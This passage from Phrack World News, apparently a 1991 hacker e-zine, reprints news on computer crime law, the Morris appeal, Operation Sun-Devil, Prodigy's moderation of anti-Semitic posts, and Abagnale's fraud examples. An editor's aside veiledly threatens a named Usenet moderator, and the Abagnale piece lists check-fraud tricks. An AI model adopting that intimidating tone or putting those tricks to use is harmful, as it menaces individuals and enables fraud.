Skinner told Newsbytes "I'm really concerned about t^Shis. I'm a student at SUNY, Stony Brook and all our dormitories use these locks as the only means of security. I've shown the problem to Scott Law who is responsible for residence security but he has discounted the problem and said that the locks were installed at the recommendation of the campus locksmith. The locksmith, Garry Lenox contradicts Law and says that he recommended against these locks years ago and said that they were not secure for dormitory use." Skinner said that he will write an article for the college newspaper in an attempt to raise consciousness about this problem.

Goldstein also said that he intends to publish the list of valid combinations in an up‑coming iss^Que of 2600 to demonstrate to the public the problems with the lock. He further said that he will raise the issue on his weekly radio show, "Off The Hook", heard on New York's WBAI‑FM.

In response to a Newsbytes question concerning how the 2600 staff happened to become involved in a problem with locks, Goldstein said, "We're hackers and when we see something with buttons on it, whether it's a computer or not, we tend to try it. While the average person tends to accept that things are secure just because he is told that they are, hackers will usually try them out. It's because of this 'trying out' that we can point out the problems with both the US military computer security and this lock ‑‑ and we feel that, in both cases, we have performed a service. People should be aware when they are at risk so that they may take action to correct it."

________________________________________

Questions Exist On Israeli Break‑In Of US Systems September 10,1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Barbara E. McMullen & John F. McMullen (Newsbytes)

NEW YORK ‑‑ Amidst reports of the intrusion by an Israeli national into United States military computer systems, there have been conflicting accounts of the extent and nature of the invasion.

According to wire services, Deri Schriebman, an 18 year‑old graduate of Israel's Technion Institute and a native of the northern Israeli city of Carmiel, was arrested by Israeli police for allegedly breaking into US military computers and commercial credit card systems. Israeli spokes person Eitan Raz, commenting on the equipment found at Schriebman's home for allegedly making free overseas phone calls, was quoted as saying "This was a very complex system. It was the first time such technology was discovered in Israel."

Newsbytes has ben able to confirm with sources that a trail of credit card fraud in the United States and Canada led investigators to Schriebman but has not been able to confirm that Schriebman, as reported in Israeli press, was able to access classified Pentagon information concerning Patriot missiles during the recent Gulf War. A US government investigative official told Newsbytes that, while his agency has formally requested documentation of the events from the Israeli police, that there seems to have been no contact to date between any US service and the Israeli investigators.

Other investigative sources have told Newsbytes that the investigation into Schriebman's activities began in May 1991 when two Quebec teenagers were arrested for purchasing goods through the use of stolen credit card identification. The teenagers told Canadian authorities that they had received the information from a source in Carmiel, Israel and the authorities notified Israeli police. According to the Israeli reports, Schriebman admitted the intrusion into credit card files and the subsequent dissemination of codes but denied making any use of the information. He was quoted as saying that his cracking into the systems was done only out of curiosity.

A "hacker" source told Newsbytes that underground bulletin boards utilized for the exchange of such credit information are often frequented by foreign nationals. He said that the most frequent visitors come from Australia, Israel and Germany and that many of the Israelis identify themselves as have a connection with the Technion Institute.

PWN/Part 2

==Phrack Inc.==

Volume Three, Issue Thirty‑five, File 11 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXV / Part Two PWN

PWN PWN

PWN Compiled by Dispater PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Justice Revs Up Battle On Computer Crime October 7, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Michael Alexander (ComputerWorld)(Page 4)

Washington D.C. ‑‑ The nation's top federal computer crime law enforcers announced plans to escalate the war on computer crime.

At the federal government's 14th National Computer Security Conference held in Washington D.C., officials at the U.S. Department of Justice said the department is launching a computer crime unit that will be charged with prosecuting crimes and pushing for stiffer penalties for convicted computer outlaws.

"Computer crime is on the rise, and the Justice Department is taking this area very seriously ‑‑ as well as the FBI, U.S. Secret Service, and the military," said Mary Spearing, chief of general litigation and legal advice in the criminal division at the Justice Department.

The new crime unit will also advocate closing loopholes in the government's computer crime statute. The Computer Fraud & Abuse Act of 1986 "is outmoded and outdated," said Scott Charney, a computer crime prosecutor and chief of the new computer crime unit.

The Justice Department wants to amend the law with a provision that would make inserting a virus or worm into a computer system a crime, Charney said.

Those convicted of computer crimes will more often be sentenced according to federal guidelines rather than on recommendation of prosecutors, who may ask for lighter penalties, said Mark Rasch, the government's attorney who prosecuted Robert Morris in the infamous Internet worm case.

A new Justice Department policy now mandates that all defendants will be treated equally, without regard for personal history or other factors that might mitigate stiffer sentences, Rasch said.

"The penalties for computer crime will become increasingly more severe," predicted Kent Alexander, assistant U.S. attorney in Atlanta <prosecutor of the Atlanta members of the Legion of Doom>. "In five years, they are going to look back and think a year in jail was a light sentence."

The FBI is "staffing up to address concerns about computer crimes" and increasing its training efforts, said Mike Gibbons, FBI supervisory special agent <who worked on both the Morris and the Clifford Stoll KGB hackers cases>.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Supreme Court Refuses Morris Appeal October 14, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Michael Alexander (ComputerWorld)(Page 14)

Washington, D.C. ‑‑ The U.S. Supreme Court refused without comment to hear Robert T. Morris' appeal last week, ending a legal journey that began nearly three years ago when he injected a worm into the Internet network.

While the trek is over for Morris, there remain serious questions about the Computer Fraud and Abuse Act of 1986, the statute under which he was prosecuted.

The refusal to review the Morris case leave intact a "bone breaker" law that could transform otherwise law‑abiding computer users in felons and inhibit the creative uses of computer technology according to Thomas Viles, an attorney at the Silverglate & Good law firm in Boston. Viles authored a friend of the court brief in the Morris appeal on behalf of the Electronic Frontier Foundation.

Some legal experts worry that computer users who enter a computer system without authorization, either unwittingly or with the intention of merely looking around, could be given penalties that are overly severe.

"A single computer entry is of an entirely different order than the destruction of data or the intentional alteration of data, just as simple trespass is pretty minor stuff compared to vandalism or burglary," Viles said. "Now if people whose livelihoods depend on computers get into somebody else's computer without authorization, they could be in Leavenworth for five years."

The Morris appeal boiled down to the critical question of whether he intended to cause the harm that ensued after he set loose his ill‑conceived computer program on November 2, 1988.

In 1990, a federal judge in Syracuse, New York ruled that it was not necessary for the government to prove that Morris intended to cause harm, only that Morris intended to access computers with authorization or to exceed authorization that he may have had. Earlier this year a federal appeals court upheld Morris' May 1990 conviction under which he received three years probation, a $10,000 fine, and 400 hours of community service.

That affirmation goes against the widely accepted tenet that an injury can amount to a crime only when deliberately intended, Viles said. "The law distinguishes, say, between murder and manslaughter. You can't be guilty of murder if the killing was utterly accidental and unintended."

A General Accounting Office (GAO) report released in 1989 noted other flaws in the federal computer statute. While the law makes it a felony to access a computer without authorization, the law does not define what is meant by "access" or "authorization," the GAO reported.

UPDATING THE LAW

U.S. Department of Justice Officials recently acknowledged that the Computer Fraud and Abuse Act is outdated and noted that it should be refined <see Justice Revs Up Battle On Computer Crime (the previous article)>. Scott Charney, chief of the Justice Department's newly created computer crime unit, said the department will lobby to fortify the law with provisions that would outlaw releasing viruses and worms and make it a felony to access a computer without authorization and cause damage through reckless behavior.

Trespassing into a computer is more serious than it may appear at first glance, Charney said. "It is not easy to determine what happened, whether there was damage, how safe the system now is or what the intruder's motives were."

Some legal experts said they believe the law is already overly broad and do not advocate expanding it with new provisions. "It is a far‑reaching law, whose boundaries are still not known," said Marc Rotenberg, an attorney and director of the Washington, D.C. office of Computer Professionals for Social Responsibility. "The way I read the law is, the Justice Department has everything it needs and more," he said. "After the Morris decisions, if you sneeze, you could be indicted."

The Morris case pointed out deficiencies in the law that have resulted from technology's rapid advance, said Thomas Guidoboni, the Washington, D.C.‑based attorney who defended Morris.

Neither Guidoboni nor Morris were surprised by the Supreme Court's refusal to hear his appeal, according to Guidoboni. "Robert's case had a particular problem in that it was the first one involving the 1986 act. They like to take cases after the circuit courts had had some chance to play with them and see if there is a disagreement."

Morris is working as a computer programmer in Cambridge, Massachusetts for a company that "knows who he is and what he's done," Guidoboni said. He declined to identify the company.

<Editor's Note: Morris was actually the SECOND person to be tried under the 1986 Computer Fraud and Abuse Act. The first person was Herbert Zinn, Jr. a/k/a Shadow Hawk of Chicago, Illinois, who was convicted in 1989 in a prosecution led by William Cook, a now former assistant U.S. attorney whose name most of you should recognize from the Craig Neidorf (Knight Lightning) and Lynn Doucette (Kyrie) cases.

Zinn was tried as a minor and therefore in a bench trial before a sole judge. Morris is the first person to be tried under the Act in front of a jury. Zinn's conviction earned him 10 months in a juveniles prison facility in South Dakota, a fine of $10,000, and an additional 2 1/2 years of probation that began after his prison term ended.

For additional information about the Shadow Hawk case, please read "Shadow Hawk Gets Prison Term," which appeared in Phrack World News, Issue 24, Part 2.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Justice Unit Spurred On By Cross‑Border Hackers October 21, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Michael Alexander (ComputerWorld)(Page 6)

Washington D.C. ‑‑ The U.S. Department of Justice's formal launch of a computer crime unit was prompted largely by an alarming rise in computer invasions that traverse geographic and jurisdictional boundaries, according to a top Justice Department official.

Robert Mueller III, assistant U.S. attorney general, said the Justice Department needs to be better prepared to prosecute computer criminals. he is one of the architects of a five‑person unit recently established by the justice department expressly to combat computer crime.

"One of the principal functions of the unit is to anticipate areas where federal, state, and local law enforcement will have to expend resources in the future," Mueller said. "One that comes immediately to our attention is crime related to computers used as a target as in The Cuckoo's Egg." He was referring to author Clifford Stoll's account of how he tracked West German hackers who penetrated U.S. computers for the KGB in exchange for cash and cocaine.

Increasingly, computer crimes cut across state and international boundaries, making them difficult to investigate because of jurisdictional limits and differing laws, Mueller said. The computer crime unit will be charged with coordinating the efforts of U.S. attorneys general nationwide during investigations of crimes that may have been committed by individuals in several states.

One of the unit's first assignments will be to take a pivotal role in OPERATION SUN‑DEVIL, last year's much‑publicized roundup of computer hackers in several states. That investigation is still under way, although no arrests have resulted, Justice Department officials said.

The unit will coordinate efforts with foreign law enforcers to prosecute hackers who enter U.S. computer systems from abroad while also working to promote greater cooperation in prosecuting computer criminals according to Mueller.

The unit will also assist in investigations when computers are used as a tool of a crime ‑‑ for example, when a computer is used to divert electronically transferred funds ‑‑ and when computers are incidental to a crime, such as when a money launderer uses a computer to store records of illegal activities, Mueller said.

"There have been many publicized cases involving people illegally accessing computers, from phone phreaks to hackers trying to take military information," said Scott Charney, chief of the new computer unit. "Those cases have high importance to us because any time that computers are the target of an offense, the social cost is very high. If you bring down the Internet and cripple 6,000 machines and inconvenience thousands of users, there is a high social cost to that type of activity."

The computer crime unit will also work to promote closer cooperation between the Justice Department and businesses that have been the victims of computer crime, Charney said.

Law enforcers are better trained and more knowledgeable in investigating and prosecuting computer crimes, Charney said. "Businesses need not be concerned that we are going to come in, remove all of their computers, and shut their businesses down. FBI and Secret Service agents can go in and talk to the victim in a language they understand and get the information they need with a minimum amount of intrusion."

<Editor's Note: "Businesses need not be concerned that we are going to come in, remove all of their computers, and shut their businesses down." Excuse me, but I think STEVE JACKSON GAMES in Austin, Texas might disagree with that statement. Mr. Charney ‑‑ Perhaps you should issue an apology!>

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

V I E W P O I N T

Let's Look Before We Legislate October 21, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Marc Rotenberg (ComputerWorld)(Page 25)

"Laws Are Adequate To Handle Computer Crime ‑‑ 'Net Police' Not Needed"

The U.S. Department of Justice is now circulating a proposal to expand the reach of federal computer crime law. On first pass, this might seem a sensible response to concerns about computer crime. The reality, however, it that the current federal law is more than adequate and the Justice Department proposal is poorly conceived.

The Justice Department proposal will give federal agencies broad authority to investigate computer crime, allowing them to intercede in any situations involving a computer hooked to a network.

Creating a worm or virus could become a felony act, no questions asked. Espionage laws would be broadened and intent requirements would be lowered. Certain procedural safeguards would be removed from existing law.

CURRENT LAW ADEQUATE

Taken as a whole, the proposal will make it possible for the federal government to prosecute many more computer crimes, but the question is whether this additional authority will improve computer security. Between the current federal statute, the Morris decision, and the sentencing guidelines, federal prosecutors already have more than enough tools to prosecute computer crime.

Under the Computer Fraud & Abuse Act, passed in 1984 and amended in 1986, the unauthorized use of a computer system is a felony. Though the act does not define what "authorization" is or how it is obtained, a person found guilty faces up to five years in jail and fines of $250,000. It is a far‑reaching law whose boundaries are still not known.

THE MORRIS FACTOR

The Morris case strengthened the hand of federal prosecutors still further. The judge ruled that it was not necessary for the government to prove that Morris intended the harm that resulted when the worm was released, only that he intended unauthorized use when he did what he did.

>From a common law viewpoint, that's a surprising result. Traditional criminal law distinguishes between trespass, burglary, and arson. In trespass, which is a misdemeanor, the offense is entering onto someone else's property. Burglary is simple theft and arson is destruction. To punish a trespasser as an arsonist is to presume an intent that may not exist.

A federal appeals court affirmed the Morris decision, and the Supreme Court has refused to hear his appeal, so now the computer crime statute is essentially a trip‑wire law. The government only has to show that the entry was unauthorized ‑‑ not that any resulting harm was intentional.

There is another aspect of the Morris case that should be clearly understood. Some people were surprised that Morris served no time and jumped to the conclusion that sentencing provisions for this type of offense were insufficient. In fact, under the existing federal sentencing guidelines, Morris could easily have received two years in jail. The judge in Syracuse, New York, considered that Morris was a first‑time offender, had no criminal record, was unlikely to commit a crime in the future, and, not unreasonably, decided that community service and a stiff fine were appropriate.

To "depart" as the judge did from the recommended sentence was unusual. Most judges follow the guidelines and many depart upwards.

That said, if the Department of Justice persists in its efforts, there are at least three other issues that should be explored.

UNANSWERED QUESTIONS

First there is the question of whether it is sensible to expand the authority of federal agents at the expense of local police and state government. If theft from a cash register is routinely prosecuted by local police, why should the FBI be called in if the cash register is a computer?

What will happen to the ability of state government to tailor their laws to their particular needs? Do we really want "Net Police"?

There is also the need to explore the government's performance in recent computer crime investigations before granting new powers. For example, the botch Operation Sun‑Devil raid, which involved almost one quarter of all Secret Service agents, resulted in hardly a conviction. (A good cop could have done better in a night's work.)

In a related investigation, Steve Jackson, the operator of a game business in Texas was nearly forced out of business by a poorly conceived raid.

In fact, documents just released to Computer Professionals for Social Responsibility by the Secret Service under the Freedom of Information Act raise substantial questions about the conduct, scope, and purpose of Operation Sun‑Devil investigations. They reveal, for example, that the Secret Service monitored and downloaded information from a variety of on‑line newsletters and conferences.

A congressional hearing to assess Operation Sun‑Devil would certainly be in order before granting federal officials new powers.

PROTECTION OF RIGHTS

Finally we should not rush to create new criminal sanctions without fully recognizing the important civil liberties interests in information technologies, such as the rights of privacy and free expression. There are, for example, laws that recognize a special First Amendment interest in newsroom searches.

But no case has yet made clear the important principle that similar protections should be extended to computer bulletin boards. New criminal sanctions without necessary procedural safeguards throws off an important balance in the criminal justice system.

Expanding the reach of federal law might sound good to many people who are concerned about computer crime, but broadening criminal law is always double‑edged. Could you prove to a court that you have never used a computer in an "unauthorized" manner?

<Editor's Note: Marc Rotenberg is the Director of the Washington office of Computer Professionals for Social Responsibility and he has testified in both the House of Representatives and the Senate on computer crime legislation.>

________________________________________

PWN Quicknotes

~~~~~~~~~~~~~

1. Operation Sun‑Devil Scope Emerges (ComputerWorld, 10/14/91, page 119) ‑‑

The Computer Professionals for Social Responsibility (CPSR), an advocacy group, received more than 2,400 documents from the U.S. Secret Service under the Freedom of Information Act. The documents relate to Operation Sun‑Devil, last year's nationwide dragnet through the hacker underground. An early look at the documents reveals that the scope of the operation was considerably broader than the U.S. Secret Service has admitted, said Marc Rotenberg, director of CPSR's Washington, D.C. office. CPSR will soon hold a press conference to discuss the findings, he added.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

2. 6 Police Employees Probed for Wiretaps (Washington Post/AP, 10/24/91, page A4) ‑‑ Jefferson City, Missouri ‑‑ Missouri's Highway Patrol is investigating six employees implicated in three illegal wiretaps, officials said.

The wiretaps were "stupid" and were intended to "gain personal information in an effort to supervise subordinates," said Colonel C.E. 'Mel' Fisher, the patrol's chief.

Fisher said that six employees are on administrative leave without pay after a two‑month internal investigation confirmed conversations were recorded at patrol headquarters and at a troop office in Kirkwood, Missouri.

Fisher did not identify the employees, who face hearings that could lead to possible penalties ranging from a written reprimand to dismissal. It is a federal felony to conduct an illegal wiretap. He said the FBI investigated the wiretaps.

Major Bobby G. Gibson, chief of the patrol's Criminal Investigation Bureau, in which two of the wiretaps occurred, committed suicide on October 9, 1991. He was among five defendants in a $7 million federal lawsuit filed recently by a black patrolman, Corporal Oliver Dixon, who alleged he had been wiretapped and denied promotions because of his race. All of the defendants, including Fisher, are white.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

3. Patrick Townson, the moderator of the Internet's Telecom Digest (comp.dcom.telecom) was less than pleased when an unknown person placed Phrack 34 into alt.dcom.telecom. Townson consistently preaches about the evils of hacking, but we know that he did not learn everything he knows about telecommunications in the classroom. See you after World War Three Pat! We know who you are, we know who you WERE and we know what crimes you have committed in the realm of telecommunications. We're anxious to talk some more with you about this in the near future.

See below:

"I assume you saw the stuff which was left in alt.dcom.telecom today: A whole series of messages telling how to break into several voicemail systems; how to break into the MILNET; a program designed to discover passwords; and other obnoxious files. All of them were left by the same anonymous user at the same non‑existent site. Siemens Medical Systems (one of the victims in the theft‑of‑voicemail‑services tutorial in alt.dcom.telecom today) has been notified that their 800 number link to voicemail is now under attack, and given the box number involved. Like cockroaches, you can stomp on those people all you like; they seem to survive. One person has said in the event of WW‑3, the only species to survive will be the cockroaches and the hackerphreaks. Good socially responsible computing, that's what it is! PAT"

________________________________________

4. The existence of back issues of Phrack Inc. found in a user's home directory was enough for a system administrator at Tufts University in Massachusetts to revoke a users account. Michael Godwin, an attorney for the Electronic Frontier Foundation went to bat for this individual and succeeded in restoring the user's account. The incident prompted the following response by a reader of Telecom Digest (comp.dcom.telecom):

On Oct 19 at 11:51, TELECOM Moderator writes:

> Is it easier and more pragmatic for a

> system administrator to answer to his/her superiors regarding files at > the site which harassed or defrauded some third party (ie. telco) or > to simply remove the files and/or discontinue the feed" PAT]

But this requires a judgment call on the part of the system administrator, does it not? Most of the system administrators that I know are too busy administering the system to worry about this file or that feed, except perhaps as it relates to traffic volume or disk space consumed.

Will we ever get to the point where those in charge will stop dreaming of practicing mind control? I am so sick of those who are paranoid that someone somewhere may actually express an uncontrolled thought or idea to someone else.

Ah, the advantages of owning one's own UUCP site ...

________________________________________

5. The National Public Network Begins Now. You Can Help Build it.

Telecommunications in the United States is at a crossroads. With the Regional Bell Operating Companies now free to provide content, the shape of the information networking is about to be irrevocably altered. But will that network be the open, accessible, affordable network that the American public needs? You can help decide this question.

The Electronic Frontier Foundation recently presented a plan to Congress calling for the immediate deployment of a national network based on existing ISDN technology, accessible to anyone with a telephone connection, and priced like local voice service. We believe deployment of such a platform will spur the development of innovative new information services, and maximize freedom, competitiveness, and civil liberties throughout the nation.

The EFF is testifying before Congress and the FCC; making presentations to public utility commissions from Massachusetts to California; and meeting with representatives from telephone companies, publishers, consumer advocates, and other stakeholders in the telecommunications policy debate.

The EFF believes that participants on the Internet, as pioneers on the electronic frontier, need to have their voices heard at this critical moment.

To automatically receive a description of the platform and details, send mail to archive‑server@eff.org, with the following line:

send documents open‑platform‑overview

or send mail to eff@eff.org.

________________________________________

6. The September/October 1991 issue of The Humanist has a cover story regarding Cyberspace, rights and freedoms on nets such as Usenet, and makes reference to Craig Neidorf, Jolnet, Prodigy and other matters.

________________________________________

7. A Virginia Beach restaurateur plead guilty to illegally taping a telephone call by Governor L. Douglas Wilder and said he arranged for the tape to be delivered to the staff of Senator Charles Robb, D‑Va., hoping it would be damaging to Wilder and politically helpful to Robb.

Robert Dunnington, a onetime social companion of Robb's, admitted in federal court that he intercepted a 1988 car phone call by then‑Lt. Governor Wilder as part of his hobby of monitoring and recording cellular calls.

From February 1988 to October 1990, Dunnington overheard and taped hundreds of calls and, his attorney said, it was "just happenstance" that Wilder's call was picked up. (Washington Post)

________________________________________

8. A Federal District Judge in New York ruled that a computer‑network company is not legally liable for the contents of information it disseminates. While the decision could be influential because it tackles free speech on an electronic network, it is not clear how the ruling would affect bulletin boards ^S^Qon which users add comments. The decision concerned an electronic gossip column carried by CompuServe. In the decision, the judge stated "CompuServe has no more editorial control over such a publication than does a public library, bookstore or newsstand, and it would be no more feasible for CompuServe to examine every publication it carries for potentially defamatory statements than it would be for any other distributor to do so." (Wall Street Journal, October 31, 1991)

PWN/Part 3

==Phrack Inc.==

Volume Three, Issue Thirty‑five, File 12 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXV / Part Three PWN

PWN PWN

PWN Compiled by Dispater PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Prodigy Stumbles as a Forum...Again

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Mike Godwin (Electronic Frontier Foundation)

On some days, Prodigy representatives tell us they're running "the Disney Channel of online services." On other days the service is touted as a forum for "the free expression of ideas." But management has missed the conflict between these two missions. And it is just this unperceived conflict that has led the B'nai B'rith's Anti‑Defamation League to launch a protest against the online service..

On one level, the controversy stems from Prodigy's decision to censor messages responding to claims that, among other things, the Holocaust never took place. These messages‑‑which included such statements as "Hitler had some valid points" and that "wherever Jews exercise influence and power, misery, warfare and economic exploitation ... follow"‑‑were the sort likely to stir up indignant responses among Jews and non‑Jews alike. But some Prodigy members have complained to the ADL that when they tried to respond to both the overt content of these messages and their implicit anti‑Semitism, their responses were rejected by Prodigy's staff of censors.

The rationale for the censorship? Prodigy has a policy of barring messages directed at other members, but allows messages that condemn a group. The result of this policy, mechanically applied, is that one member can post a message saying that "pogroms, 'persecutions,' and the mythical holocaust" are things that Jews "so very richly deserve" (this was an actual message). But another member might be barred from posting some like "Member A's comments are viciously anti‑Semitic." It is no wonder that the Anti‑Defamation League is upset at what looks very much like unequal treatment.

But the problem exposed by this controversy is broader than simply a badly crafted policy. The problem is that Prodigy, while insisting on its Disney Channel metaphor, also gives lip service to the notion of a public forum. Henry Heilbrunn, a senior vice president of Prodigy, refers in the Wall Street Journal to the service's "policy of free expression," while Bruce Thurlby, Prodigy's manager of editorial business and operations, invokes in a letter to ADL "the right of individuals to express opinions that are contrary to personal standards or individual beliefs."

Yet it is impossible for any free‑expression policy to explain both the allowing of those anti‑Semitic postings and the barring of responses to those postings from outraged and offended members. Historically, this country has embraced the principle that best cure for offensive or disturbing speech is more speech. No regime of censorship‑‑even of the most neutral and wellmeaning kind‑‑can avoid the kind of result that appears in this case: some people get to speak while others get no chance to reply. So long as a board of censors is in place, Prodigy is no public forum.

Thus, the service is left in a double bind. If Prodigy really means to be taken as a computer‑network version of "the Disney Channel"‑‑with all the content control that this metaphor implies‑‑then it's taking responsibility for (and, to some members, even seeming to endorse) the anti‑Semitic messages that were posted. On the other hand, if Prodigy really regards itself as a forum for free expression, it has no business refusing to allow members to respond to what they saw as lies, distortions, and hate. A true free‑speech forum would allow not only the original messages but also the responses to them.

So, what's the fix for Prodigy? The answer may lie in replacing the service's censors with a system of "conference hosts" of the sort one sees on CompuServe or on the WELL. As WELL manager Cliff Figallo conceives of his service, the management is like an apartment manager who normally allows tenants to do what they want, but who steps in if they do something outrageously disruptive. Hosts on the WELL normally steer discussions rather than censoring them, and merely offensive speech is almost never censored.

But even if Prodigy doesn't adopt a "conference host" system, it ultimately will satisfy its members better if it does allow a true forum for free expression. And the service may be moving in that direction already: Heilbrunn is quoted in the Wall Street Journal as saying that Prodigy has been loosening its content restrictions over the past month. Good news, but not good enough‑‑merely easing some content restrictions is likely to be no more successful at solving Prodigy's problems than Gorbachev's easing market restrictions was at solving the Soviet Union's problems. The best solution is to allow what Oliver Wendell Holmes called "the marketplace of ideas" to flourish‑‑to get out of the censorship business.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Computer Network to Ban 'Repugnant' Comments

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From Washington Post

Prodigy has been charged with allowing "antisemitic slurs" to run on its network. Prodigy officials said they would *not* censor discussion of controversial subjects, such as the one that has been raging over the net for several months ‑‑ whether the Holocaust was a hoax.

The controversial message that was labeled "repugnant" included the statements: "Hitler had some valid points...", and "...whenever Jews exercise influence and power, misery, warfare and economic exploitation [are the result]". There were six other messages that the Anti‑Defamation League of B'nai B'rith are complaining about. The Hitler message was not available to all subscribers, it was just personal mail between users. The person who received the mail brought it to the ADL's attention.

Civil liberties groups have compared computer networks to telephone companies, which do not censor calls. However, Prodigy officials object to that analogy, saying it is more like a newspaper, and that Prodigy must judge what is acceptable and what is not, much as a newspaper editor must.

Prodigy officials take the position of, and I quote, "we were speaking in broader terms ... we were focused on the broad issue of free expression".

________________________________________

More on Proctor & Gamble August 15, 1991

~~~~~~~~~~~~~~~~~~~~~~~

by Randall Rothenberg (New York Times)

Further Reading: Phrack Inc., Issue 33 , File.12, "Proctor & Gamble"

Law‑enforcement officials in Ohio have searched the records of every telephone user in southwestern Ohio to determine who, if anyone, called a Wall Street Journal reporter to provide information that Proctor & Gamble said was confidential and protected by state law.

The investigation goes far beyond examining the telephone records of current and former employees of the giant consumer products company, an inquiry the Hamilton County prosecutor's office confirmed on Monday. The Journal reported the scope of the investigation Thursday.

The prosecutor, Arthur Ney Jr., acting on a complaint by Procter & Gamble, ordered Cincinnati Bell to turn over all the telephone numbers from which people called the home or office of the reporter, Alecia Swasy, from March 1 to June 15.

The situation began sometime before June 17 when Procter & Gamble, which makes Tide detergent, Crest toothpaste and other familiar supermarket products, asked the Cincinnati police to determine whether current or former employees were leaking confidential corporate information to The Wall Street Journal.

On Monday the newspaper reported that the company had been bothered by two news articles published on June 10 and June 11 written by Ms. Swasy, a reporter based in Pittsburgh who covers Procter & Gamble. The articles cited unidentified sources saying that a senior executive was under pressure to resign from the company, and that it might sell some unprofitable divisions.

But a spokeswoman for Procter and Gamble, Sydney McHugh, said Thursday that the company "had been observing a disturbing pattern of leaks" since the beginning of the year. She refused to elaborate, but said the decision to pursue legal action was reviewed at several levels in the company and was made by Jim Jessee, a corporate security officer.

Two Ohio statutes protect the unauthorized disclosure of trade secrets. One makes it a felony to transmit formulas, customer lists or other tangible pieces of information that would be valuable to a company and its competitors. But another, broader law makes it a misdemeanor to disclose "any confidential matter or information" without the company's consent.

The Cincinnati police approached the Hamilton County prosecutor's office, which sought and received from a grand jury a subpoena for telephone records.

A copy of the subpoena, dated June 17, was given to The New York Times by someone involved in the case who insisted on anonymity. The subpoena ordered Cincinnati Bell to "identify all (513) area code numbers that have dialed" Ms. Swasy's home or office telephones in Pittsburgh during an eight‑week period that started on March 1.

Cincinnati Bell serves 655,297 telephone numbers in the 513 area code, in an area covering 1,156 square miles, said Cyndy Cantoni, a spokeswoman for the company. In the company's entire jurisdiction, which also covers parts of Kentucky and Pennsylvania, about 13 million toll calls are placed in an average month, she said.

Ms. Cantoni said she could not comment on what Cincinnati Bell turned over to the authorities, but said the company routinely complied with subpoenas. Under normal procedure, the company's computers would have automatically searched its customer list and printed out only the originating numbers, and not the names or addresses, of calls to Ms. Swasy's numbers, Ms. Cantoni said.

The Wall Street Journal, which is published by Dow Jones & Co., reported on Monday that neither Ms. Swasy nor executives at the Journal were informed of the subpoena by the authorities.

Neither Terry Gaines, a first assistant prosecutor, nor Ed Ammann, a police department colonel involved with the investigation, returned repeated calls to their offices.

Alan F. Westin of Columbia University, an authority on technology and privacy issues, said the legality of the Ohio authorities' search for the Procter & Gamble whistleblower may depend on how the investigation was pursued.

If Procter & Gamble turned over the names and phone numbers of present and former employees to the police and the police matched that list against the numbers they were given by the telephone company, the rights of other, uninvolved parties may not have been violated, Westin said. But if the police learned the names of people unaffiliated with Procter & Gamble who called the Journal's reporter, he said, or if they turned over a list of numbers to Procter & Gamble for research, some Ohio residents' Fourth Amendment protections may have been sullied.

"When technology allows you to run millions of calls involving 650,000 telephone subscribers through a computer in order to identify who called a person, potentially to find out whether a crime was committed, you raise the question of whether technological capacity has gone over the line in terms of what is a reasonable search and seizure," Westin said.

________________________________________

Expert Fraud Shares Tricks of His Trade October 7, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Bob Reilly (New York Times)

PHOENIX ‑‑ A freelance writer didn't think the $333 that Forbes magazine paid him for a one‑page article was enough money so he used his personal computer to duplicate the check in the amount of $30,000. And, the check cleared.

A handyman fixes a bedroom window and gets paid by check. The handyman copies down the homeowner's bank account number, name, address and check number sequences and sends $4.95 to a company that prints fancy colored checks. The handyman masters the homeowner's signature and then proceeds to cash the checks after they arrive.

American Express and Mastercard traveler's checks are duplicated on a colored photostat machine and spent in hotels and restaurants.

A man rents a banquet room in a hotel for $800 and gets the bill in the mail a few days later. The man sends in a check for $400 with the notation "paid in full" written in the lower left‑hand corner. The hotel cashes the check and sends a notice to the man saying $400 is still owed. The man refuses to pay the $400 and wins in court because the law says by cashing the check the hotel conceded the debt was paid.

White‑collar crime amounts to more than $50 billion a year, said Frank Abagnale, who cited the examples at a business‑sponsored seminar in the Phoenix Civic Center. By contrast, bank robbers, who get most of the media attention, abscond with a paltry $450 million, he said.

Abagnale is said to have conducted scams and frauds in 26 nations. Known as "The Imposter," he now advises government and industry. He says he served six years in jail in France, Sweden and the U.S. for his crimes, which included writing bad checks for more than $2.5 million.

"As technology improves, so does the ability to commit fraud," said Abagnale.

He claims that at 16 he impersonated an airline pilot, at 18 was a chief resident pediatrician in a Georgia hospital, at 19 passed the Louisiana state bar exam and served as an assistant attorney general for the state.

